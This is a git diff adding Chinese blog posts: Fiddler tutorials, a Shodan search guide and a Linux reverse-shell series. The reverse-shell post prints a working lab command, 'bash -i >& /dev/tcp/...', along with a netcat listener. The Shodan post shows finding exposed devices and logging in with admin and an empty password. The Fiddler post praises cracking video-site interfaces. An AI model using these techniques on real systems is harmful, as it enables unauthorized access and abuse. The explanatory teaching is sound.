![img](https://attach.52pojie.cn/forum/201901/25/122553e3cqsscluu81cd8q.png) + + 效果图: + ![img](https://attach.52pojie.cn/forum/201901/25/122449x5588avmamylllcv.png) + + + 1.2定制tool菜单的子菜单 + + + + > > > public static ToolsAction("我是子菜单") + > > > function DoManualYules(){ + > > + > > //子菜单的功能 + > > FiddlerObject.alert("我是子菜单"); // 根据需要定制 + > > } + + ![img](https://attach.52pojie.cn/forum/201901/25/122803pn9gan9rnfvgcf1n.png) + 1.3定制右键菜单 + + + > public static ContextAction("我是右键菜单") + > function DoOpenInIE(oSessions: Fiddler.Session[]){ + > FiddlerObject.alert("我是右键菜单"); // 根据需要定制 + > } + > + + + 右键菜单不好截图,就不截图啦~~~~ + 子菜单和右键菜单自己新建一个类就OK了。 + + **二、限速** + fiddler提供了一个功能,让我们模拟低速网路环境。启用方法如下:Rules → Performances → Simulate Modem Speeds。勾选之后,你会发现你的网路瞬间慢下来了很多。至于慢下来后网络速度是多少,则由CustomRules.js 中如下程序控制的: + + + > var m_SimulateModem: boolean = true; + > ... + > if (m_SimulateModem) { + > // 500毫秒/KB(上传) + > oSession["request-trickle-delay"] = "500"; + > // 150毫秒/KB(下载) + > oSession["response-trickle-delay"] = "150"; + > } + > + + + **三、AutoResponder (自动替换功能)** + 方法是点下Fiddler 右上的AutoResponder ,勾选Enable automatic responses 和Unmatched requests passthrough ,按下右边的Add ; + + 再将下方的Rule Editor 第一行修改为线上档案位址(线上档案位址也可以使用Regular Expression ,开头加上regex: 即可。) + + 按下Rule Editor 第二行右边的箭头,选择Find a file ... ;选择要替换成的本机端档案,按下右边的SAVE ,大功告成! + + ![img](http://static.oschina.net/uploads/img/201504/12015848_MAKK.png) + + 将线上档案替换成另一个线上档案,步骤几乎[一模一样](https://www.baidu.com/s?wd=一模一样&tn=24004469_oem_dg&rsv_dl=gh_pl_sl_csd),差别仅在Rule Editor 第二行填入的是另一线上档案位址: + + ![img](http://static.oschina.net/uploads/img/201504/12015848_Wiqd.png) + + 更多AutoResponder的说明请参考Fiddler官方文件- AutoResponder Reference 。 + + (PS:AutoResponder 这个网上有比较多的教程,我直接复制的了。) + + **四:命令调试(和OD的命令调试操作基本相同)** + + 4.1替换 Request Host。 + + 关键函数:urlreplace + + 比如:urlreplace [www.baidu.com](http://www.baidu.com) [www.360.com](http://www.360.com) + + 按下Enter ,所有原先发到百度的HTTP Request 就转发到360 了。 + + ![img](https://attach.52pojie.cn/forum/201901/25/123822ksgz891tprtwb5t4.png) + + 要清除转发,请在同一位置输入: + + urlreplace + + 另外script也可以做到: + + > if ( oSession . HostnameIs ( 'www.baidu.com' ) ) + > oSession . hostname = 'www.360.com' ; + + 4.2 下断点(和OD、VS调试一样的哦) + + > 命令介绍: + > bpu在请求开始时中断, + > bpafter在响应到达时中断, + > bps在特定http状态码时中断, + > bpv/bpm在特定请求method时中断。 + > + + 如: + + bpu [www.baidu.com/52pj/](http://www.baidu.com/52pj/)狂暴补师亚丝娜 + + 这样既可在访问这个网址的时候自动下断点哦。 + + + + + 4.3Fiddler其他内置命令(4.3为转载) + + - secret + + + > 选择所有相应类型(指content-type)为指定类型的HTTP请求,如选择图片,使用命令select image.而select css则可以选择所有相应类型为css的请求,select html则选择所有响应为HTML的请求(怎么样,是不是跟SQL语句很像?)。 + + - allbut + + + > allbut命令用于选择所有响应类型不是给定类型的HTTP请求。如allbut image用于选择所有相应类型不是图片的session(HTTP请求),该命令还有一个别名keeponly.需要注意的是,keeponly和allbut命令是将不是该类型的session删除,留下的都是该类型的响应。因此,如果你执行allbut xxxx(不存在的类型),实际上类似与执行cls命令(删除所有的session, ctrl+x快捷键也是这个作用) + + - ?text + + + > 选择所有 URL 匹配问号后的字符的全部 session + + - \>size 和 选择响应大小大于某个大小(单位是b)或者小于某个大小的所有HTTP请求 + + - =status命令 + + + > 选择响应状态等于给定状态的所有HTTP请求。 + + 例如,选择所有状态为200的HTTP请求:=200 + + - @host命令 + + + > 选择包含指定 HOST 的全部 HTTP请求。例如:@csdn.net + + **五、“逆向”** + + 这里只能简单提及一下,当你发现下断点的网址过后,可以使用ctrl+F的方式,就行搜索该网址,既可看是什么接口返回的该地址,也就是简单的逆向! + + + + + 最后: + + 熟练掌握Fiddler,能够[破解](https://www.52pojie.cn)爱奇艺、优酷等永久不失效的接口,也可薅羊毛(饿了么等),具体就要看大家的掌握程度了!破解游戏啥的就不说了。 + + \ No newline at end of file diff --git a/source/_posts/fiddler.md b/source/_posts/fiddler.md new file mode 100644 index 0000000..0a4a3f8 --- /dev/null +++ b/source/_posts/fiddler.md @@ -0,0 +1,100 @@ +--- +title: 使用fiddler对手机上的程序进行抓包 +date: 2019-06-02 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: fiddler +tags: + - fiddler + +--- + +- ### 用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。 + + + + #### **前提:** + + 1.必须确保安装fiddler的电脑和手机在同一个wifi环境下 + + 备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在同一wifi环境下 + + 2.可以使用电脑安卓模拟器 + + + + #### **安装配置步骤:** + + ##### 1.下载一个fiddler,网上随便下一个就可以了 + + ##### 2.配置fiddler + + **Tools->Fiddler Options->Connections** + + **![img](https://images2015.cnblogs.com/blog/626983/201511/626983-20151126120716187-103213269.png)** + + 说明:1.Fiddler listens on port是手机连接fiddler时的代理端口号,默认8888即可 + + ​ 2.Allow remote computers to connect是允许远程发送请求,需要勾上 + + + + **Tools->Fiddler Options->HTTPS** + + **![img](https://images2015.cnblogs.com/blog/626983/201511/626983-20151126120733937-1858884840.png)** + + + + 说明:勾上Decrypt HTTPS traffic,会抓到手机的https请求,如果想抓到https请求还需要在手机安装证书,下面会介绍 + + 【fiddler设置后一定要把fiddler重启一下才会生效】 + + + +##### 3.手机上的配置 + + 3.1需要安装fiddler证书 + + 使用手机浏览器访问http://【电脑IP地址】:【fiddler设置的端口号】,既可以下载fiddler的证书并安装 + + 【查看电脑IP的方法,直接在cmd下ipconfig,或者鼠标滑过fiddler的online也可以看到IP地址】 + + ![img](https://images2015.cnblogs.com/blog/626983/201511/626983-20151126120802296-757506898.png) + + 以上面看到的我的IP地址为例,手机只要访问http://10.252.167.91:8888即可下载安装fiddler证书 + + + + 3.2手机设置wifi的代理 + + 连接与电脑相同的wifi,修改wifi的网络,手动设置代理,代理服务器主机名为电脑的IP地址,代理端口为在fiddler里设置的端口号,保存后,fiddler将能够收到手机上的请求信息 + + ![img](https://images2015.cnblogs.com/blog/626983/201511/626983-20151126120829921-223800751.png) + + + + 以上就是配置方法,其他的就可以直接用了,比如在fiddler里进行一下请求的过滤,只看某个服务器下的请求,配置后要点一下Actions来保存过滤 + + ![img](https://images2015.cnblogs.com/blog/626983/201511/626983-20151126120845093-525900958.png) + + 在测试中可能会有测试环境,测试环境有的公司时域名相同,但是hosts不同,通过不同的服务器IP地址指向来确定是什么环境。在PC测试上可以非常方便的更改本机hosts指向来切换测试环境和线上环境,在手机上更改hosts比较麻烦。这时候就可以利用fiddler来连接手机,更改电脑的hosts,来实现手机连接测试环境的操作。 + + + + 注意: + + 1.手机配置了代理,fiddler必须启动,手机才可以上网,如果fiddler关闭后手机是不可以联网了,需要将代理去掉才可以进行联网。 + + 2.fiddler启东时,会默认将Internet的代理更改为127.0.0.1,在正常退出fiddler时代理会恢复为原来的代理。但是如果遇到fiddler不正常退出(比如进程直接杀掉),会导致代理没有恢复的情况,这是需要手动修改Internet的代理(恢复为原来的代理或者取消代理) + + 设置Internet代理的方法如下: + + ![img](https://images2015.cnblogs.com/blog/626983/201511/626983-20151126120853421-360569062.png) + + \ No newline at end of file diff --git a/source/_posts/how-shodan.md b/source/_posts/how-shodan.md new file mode 100644 index 0000000..e7f9f8d --- /dev/null +++ b/source/_posts/how-shodan.md @@ -0,0 +1,276 @@ +--- +title: 什么是 Shodan? +date: 2019-05-17 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Shodan +tags: + - Shodan + +--- + +## 什么是 Shodan? + +首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan 上最受欢迎的搜索内容是:webcam,linksys,cisco,netgear,SCADA等等。 + +**那么 Shodan 是怎么工作的呢?Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。** + +## 基本用法 + +这里就像是用 Google 一样,在主页的搜索框中输入想要搜索的内容即可,例如下面我搜索 “SSH”: + +[![27-1.png](http://image.3001.net/images/20161128/14803149659337.png!small)](http://image.3001.net/images/20161128/14803149659337.png) + +上图的搜索结果包含两个部分,左侧是大量的汇总数据包括: + +- Results map – 搜索结果展示地图 +- Top services (Ports) – 使用最多的服务/端口 +- Top organizations (ISPs) – 使用最多的组织/ISP +- Top operating systems – 使用最多的操作系统 +- Top products (Software name) – 使用最多的产品/软件名称 + +随后,在中间的主页面我们可以看到包含如下的搜索结果: + +- IP 地址 +- 主机名 +- ISP +- 该条目的收录收录时间 +- 该主机位于的国家 +- Banner 信息 + +想要了解每个条目的具体信息,只需要点击每个条目下方的 details 按钮即可。此时,URL 会变成这种格式 `https://www.shodan.io/host/[IP]`,所以我们也可以通过直接访问指定的 IP 来查看详细信息。 + +[![27-2.png](http://image.3001.net/images/20161128/14803149873250.png!small)](http://image.3001.net/images/20161128/14803149873250.png) + +上图中我们可以从顶部在地图中看到主机的物理地址,从左侧了解到主机的相关信息,右侧则包含目标主机的端口列表及其详细信息。 + +### 使用搜索过滤 + +如果像前面单纯只使用关键字直接进行搜索,搜索结果可能不尽人意,那么此时我们就需要使用一些特定的命令对搜索结果进行过滤,常见用的过滤命令如下所示: + +- `hostname`:搜索指定的主机或域名,例如 `hostname:"google"` +- `port`:搜索指定的端口或服务,例如 `port:"21"` +- `country`:搜索指定的国家,例如 `country:"CN"` +- `city`:搜索指定的城市,例如 `city:"Hefei"` +- `org`:搜索指定的组织或公司,例如 `org:"google"` +- `isp`:搜索指定的ISP供应商,例如 `isp:"China Telecom"` +- `product`:搜索指定的操作系统/软件/平台,例如 `product:"Apache httpd"` +- `version`:搜索指定的软件版本,例如 `version:"1.6.2"` +- `geo`:搜索指定的地理位置,参数为经纬度,例如 `geo:"31.8639, 117.2808"` +- `before/after`:搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 `before:"11-11-15"` +- `net`:搜索指定的IP地址或子网,例如 `net:"210.45.240.0/24"` + +### 搜索实例 + +查找位于合肥的 Apache 服务器: + +``` +apache city:"Hefei" +``` + +查找位于国内的 Nginx 服务器: + +``` +nginx country:"CN" +``` + +查找 GWS(Google Web Server) 服务器: + +``` +"Server: gws" hostname:"google" +``` + +查找指定网段的华为设备: + +``` +huawei net:"61.191.146.0/24" +``` + +如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法,你问我别人分享的语法有什么好玩的?那咱们就随便来看看吧: + +[![27-3.png](http://image.3001.net/images/20161128/14803150204500.png!small)](http://image.3001.net/images/20161128/14803150204500.png) + +咱们随便选取一个名为“NetSureveillance Web”的用户分享语法,从下面的描述信息我们基本就能得知这就是一个弱密码的漏洞,为了方便测试让我们把语法在增加一个国家的过滤信息,最终语法如下: + +``` +Server: uc-httpd 1.0.0 200 OK Country:"CN" +``` + +[![27-4.png](http://image.3001.net/images/20161128/14803150355281.png!small)](http://image.3001.net/images/20161128/14803150355281.png) + +现在让我们随便选取一个页面进去输入,使用admin账号和空密码就能顺利进入了:) + +[![27-5.png](http://image.3001.net/images/20161128/1480315053949.png!small)](http://image.3001.net/images/20161128/1480315053949.png) + +### 其他功能 + +Shodan 不仅可以查找网络设备,它还具有其他相当不错的功能。 + +Exploits:每次查询完后,点击页面上的 “Exploits” 按钮,Shodan 就会帮我们查找针对不同平台、不同类型可利用的 exploits。当然也可以通过直接访问网址来自行搜索:; + +[![27-10.png](http://image.3001.net/images/20161128/14803151039105.png!small)](http://image.3001.net/images/20161128/14803151039105.png) + +地图:每次查询完后,点击页面上的 “Maps” 按钮,Shodan 会将查询结果可视化的展示在地图当中; + +[![27-12.png](http://image.3001.net/images/20161128/14803151185705.png!small)](http://image.3001.net/images/20161128/14803151185705.png) + +报表:每次查询完后,点击页面上的 “Create Report” 按钮,Shodan 就会帮我们生成一份精美的报表,这是天天要写文档兄弟的一大好帮手啊; + +[![27-11.png](http://image.3001.net/images/20161128/14803151323230.png!small)](http://image.3001.net/images/20161128/14803151323230.png) + +## 命令行下使用 Shodan + +`Shodan` 是由官方提供的 Python 库的,项目位于: + +**安装** + +``` +pip install shodan +``` + +或者 + +``` +git clone https://github.com/achillean/shodan-python.git && cd shodan-python +python setup.py install +``` + +安装完后我们先看下帮助信息: + +``` +➜ ~ shodan -h +Usage: shodan [OPTIONS] COMMAND [ARGS]... +Options: + -h, --help Show this message and exit. +Commands: + alert Manage the network alerts for your account # 管理账户的网络提示 + convert Convert the given input data file into a... # 转换输入文件 + count Returns the number of results for a search # 返回查询结果数量 + download Download search results and save them in a... # 下载查询结果到文件 + honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 + host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 + info Shows general information about your account # 显示账户的一般信息 + init Initialize the Shodan command-line # 初始化命令行 + myip Print your external IP address # 输出用户当前公网IP + parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 + scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 + search Search the Shodan database # 查询 Shodan 数据库 + stats Provide summary information about a search... # 提供搜索结果的概要信息 + stream Stream data in real-time. # 实时显示流数据 +``` + +### 常用示例 + +**init** + +初始化命令行工具。 + +``` +➜ ~ shodan init [API_Key] +Successfully initialized +``` + +**count** + +返回查询的结果数量。 + +``` +➜ ~ shodan count microsoft iis 6.0 +575862 +``` + +**download** + +将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加 `--limit` 参数。 + +[![27-6.png](http://image.3001.net/images/20161128/14803151703857.png!small)](http://image.3001.net/images/20161128/14803151703857.png) + +**parse** + +我们可以使用 parse 来解析之前下载数据,它可以帮助我们过滤出自己感兴趣的内容,也可以用来将下载的数据格式从 JSON 转换成 CSV 等等其他格式,当然更可以用作传递给其他处理脚本的管道。例如,我们想将上面下载的数据以CSV格式输出IP地址、端口号和组织名称: + +``` +➜ ~ shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz +``` + +[![27-7.png](http://image.3001.net/images/20161128/1480315189686.png!small)](http://image.3001.net/images/20161128/1480315189686.png) + +**host** + +查看指定主机的相关信息,如地理位置信息,开放端口,甚至是否存在某些漏洞等信息。 + +[![27-8.png](http://image.3001.net/images/20161128/14803152025933.png!small)](http://image.3001.net/images/20161128/14803152025933.png) + +**search** + +直接将查询结果展示在命令行中,默认情况下只显示IP、端口号、主机名和HTTP数据。当然我们也可以通过使用 –fields 来自定义显示内容,例如,我们只显示IP、端口号、组织名称和主机名: + +``` +➜ ~ shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0 +``` + +[![27-9.png](http://image.3001.net/images/20161128/14803152181807.png!small)](http://image.3001.net/images/20161128/14803152181807.png) + +## 代码中使用 Shodan 库 + +还是使用上一节讲到的 [`shodan`](https://github.com/achillean/shodan-python) 库,安装方式这里不在阐述了。同样的,在使用 `shodan` 库之前需要初始化连接 API,代码如下: + +``` +import shodan +SHODAN_API_KEY = "API_Key" +api = shodan.Shodan(SHODAN_API_KEY) +``` + +随后,我们就可以搜索数据了,示例代码片如下: + +``` +try: + # 搜索 Shodan + results = api.search('apache') + # 显示结果 + print 'Results found: %s' % results['total'] + for result in results['matches']: + print result['ip_str'] +except shodan.APIError, e: + print 'Error: %s' % e +``` + +[![27-13.png](http://image.3001.net/images/20161128/14803152351577.png!small)](http://image.3001.net/images/20161128/14803152351577.png) + +这里 `Shodan.search()` 会返回类似如下格式的 JSON 数据: + +``` +{ + 'total': 8669969, + 'matches': [ + { + 'data': 'HTTP/1.0 200 OK\r\nDate: Mon, 08 Nov 2010 05:09:59 GMT\r\nSer...', + 'hostnames': ['pl4t1n.de'], + 'ip': 3579573318, + 'ip_str': '89.110.147.239', + 'os': 'FreeBSD 4.4', + 'port': 80, + 'timestamp': '2014-01-15T05:49:56.283713' + }, + ... + ] +} +``` + +### 常用 Shodan 库函数 + +- `shodan.Shodan(key)` :初始化连接API +- `Shodan.count(query, facets=None)`:返回查询结果数量 +- `Shodan.host(ip, history=False)`:返回一个IP的详细信息 +- `Shodan.ports()`:返回Shodan可查询的端口号 +- `Shodan.protocols()`:返回Shodan可查询的协议 +- `Shodan.services()`:返回Shodan可查询的服务 +- `Shodan.queries(page=1, sort='timestamp', order='desc')`:查询其他用户分享的查询规则 +- `Shodan.scan(ips, force=False)`:使用Shodan进行扫描,ips可以为字符或字典类型 +- `Shodan.search(query, page=1, limit=None, offset=None, facets=None, minify=True)`:查询Shodan数据 \ No newline at end of file diff --git a/source/_posts/rebound-shell-one.md b/source/_posts/rebound-shell-one.md new file mode 100644 index 0000000..89efbc3 --- /dev/null +++ b/source/_posts/rebound-shell-one.md @@ -0,0 +1,161 @@ +--- +title: Linux反弹shell(一)文件描述符与重定向 +date: 2019-06-15 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: shell +tags: + - 反弹shell + +--- + +- ## **0X00 前言** + + 由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。 + + ## **0X01 文件描述符** + + > **linux文件描述符**:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。 + + 当Linux启动的时候会默认打开三个文件描述符,分别是: + + 标准输入standard input 0 (默认设备键盘) + 标准输出standard output 1(默认设备显示器) + 错误输出:error output 2(默认设备显示器) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d73c1264-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d73c1264-9c80-1.png) + + ### **注意:** + + (1)以后再打开文件,描述符可以依次增加 + (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。 + + **文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)** + + 一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。 + + ## **0X02 重定向** + + 重定向主要分为两种(其他复杂的都是从这两种衍生而来的): + + (1)输入重定向 < << + (2)输出重定向 > >> + + ### **重点:** + + 1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令 + + 2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示) + + 3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向 + + **4.再强调一下,重定向就是针对文件描述符的操作** + + ### **1.输入重定向** + + 格式: [n]< word **(注意[n]与<之间没有空格)** + + 说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d749a4e2-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d749a4e2-9c80-1.png) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d7566fc4-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d7566fc4-9c80-1.png) + + 解释: 解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。(**有没有觉得这个其实就是C语言中的指针或者文件句柄,就是将0这个指针指向了不同的地址,自然有不同的输入**) + + 图示: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d763ff72-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d763ff72-9c80-1.png) + + ### **2.输出重定向** + + 格式: [n]> word + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d774b3bc-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173621-d774b3bc-9c80-1.png) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d77f7b1c-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d77f7b1c-9c80-1.png) + + 说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出) + + 图示: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d79014c2-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d79014c2-9c80-1.png) + + ### **3.标准输出与标准错误输出重定向** + + 格式: &> word >& word + + 说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d79df60a-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d79df60a-9c80-1.png) + + 解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。 + + 图示: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7abf9e4-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7abf9e4-9c80-1.png) + + ### **4.文件描述符的复制** + + 格式: [n]<&[m] / [n]>&[m] **(这里所有字符之间不要有空格)** + + 说明: + + 1)这里两个**都是将文件描述符 n 复制到 m** ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开 + + **因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)** + + 2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符 + + 这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中 + + ### **重点:** + + 之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子 + + (1)cmd > file 2>&1 + (2)cmd 2>&1 >file + + 与第一条指令类似的指令在上面我已经介绍过了,我们现在就来看看第二条指令的执行过程 + + **1.首先解析器解析到 2>&1** + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7bcbb94-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7bcbb94-9c80-1.png) + + **2.解析器再向后解析到 “>”** + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7cdb7be-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7cdb7be-9c80-1.png) + + ### **5.exec 绑定重定向** + + 格式:exec [n] file/[n] + + 上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令 + + ### **重点:** + + 格式: [n]<>word + + 说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7da9894-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7da9894-9c80-1.png) + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7e99074-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173622-d7e99074-9c80-1.png) + + ## **0X03 总结** + + 文件描述符和重定向的作用巨大,很好的体现出了Linux中一切皆文件的特性,在反弹shell建立交互通道的过程中也起到了至关重要的作用。 + + 个人博客: + + ## **0X04 参考链接** + + + + \ No newline at end of file diff --git a/source/_posts/rebound-shell-two.md b/source/_posts/rebound-shell-two.md new file mode 100644 index 0000000..a017cb3 --- /dev/null +++ b/source/_posts/rebound-shell-two.md @@ -0,0 +1,304 @@ +--- +title: Linux 反弹shell(二)反弹shell的本质 +date: 2019-06-16 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: shell +tags: + - 反弹shell + +--- + +- ## **0X00 前言** + + 在上一篇文章 [Linux反弹shell(一)文件描述符与重定向](https://xz.aliyun.com/t/2548),我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。 + + ## **0X01 什么是反弹shell** + + reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。 + + ## **0X02 为什么要反弹shell** + + 通常用于被控端因防火墙受限、权限不足、端口被占用等情形 + + 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢? + + 1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 + + 2.它的ip会动态改变,你不能持续控制。 + + 3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。 + + 4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。 + + 那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。 + + ## **0X03 反弹shell的本质是什么** + + 我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。 + + **实验环境:** + + **受害者:** + + Ubuntu Linux ------> 192.168.146.128 + + **攻击者:** + + Kali Linux ------> 192.168.146.129 + + 我们就以最常见的bash为例: + attacker机器上执行: + + ``` + nc -lvp 2333 + ``` + + victim 机器上执行: + + ``` + bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 + ``` + + 你就会看到下图: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cef38600-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cef38600-9c80-1.png) + + 可以看到在攻击机上出现了受害者机器的shell + + 解释一下这条命令具体的含义: + + **1.bash -i** + + 1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别 + + 2)-i 这个参数表示的是产生交互式的shell + + **2./dev/tcp/ip/port** + + /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf021f9e-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf021f9e-9c80-1.png) + + 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信 + + **实例1:** + + 我们输出字符串到这个文件里 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf0c2d36-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf0c2d36-9c80-1.png) + + 攻击机上的输出 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf17f062-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf17f062-9c80-1.png) + + **实例2:** + + 攻击机上的输入 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf26ad46-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173607-cf26ad46-9c80-1.png) + + 受害者机器上的输出 + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf3172ee-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf3172ee-9c80-1.png) + + **3.交互重定向** + + **注意:** + 下面的内容涉及到比较复杂的重定向和文件描述符的知识,如果理解不够深入建议看完我的上一篇文章以后再来继续阅读: + + **文章链接:** + [Linux反弹shell(一)文件描述符与重定向](https://xz.aliyun.com/t/2548) + + 为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上 + 在受害者机器上输入 + + ``` + bash -i > /dev/tcp/192.168.146.129/2333 + ``` + + 示意图: + + [![img](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf42bf0e-9c80-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20180810173608-cf42bf0e-9c80-1.png) + + 如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。 + + 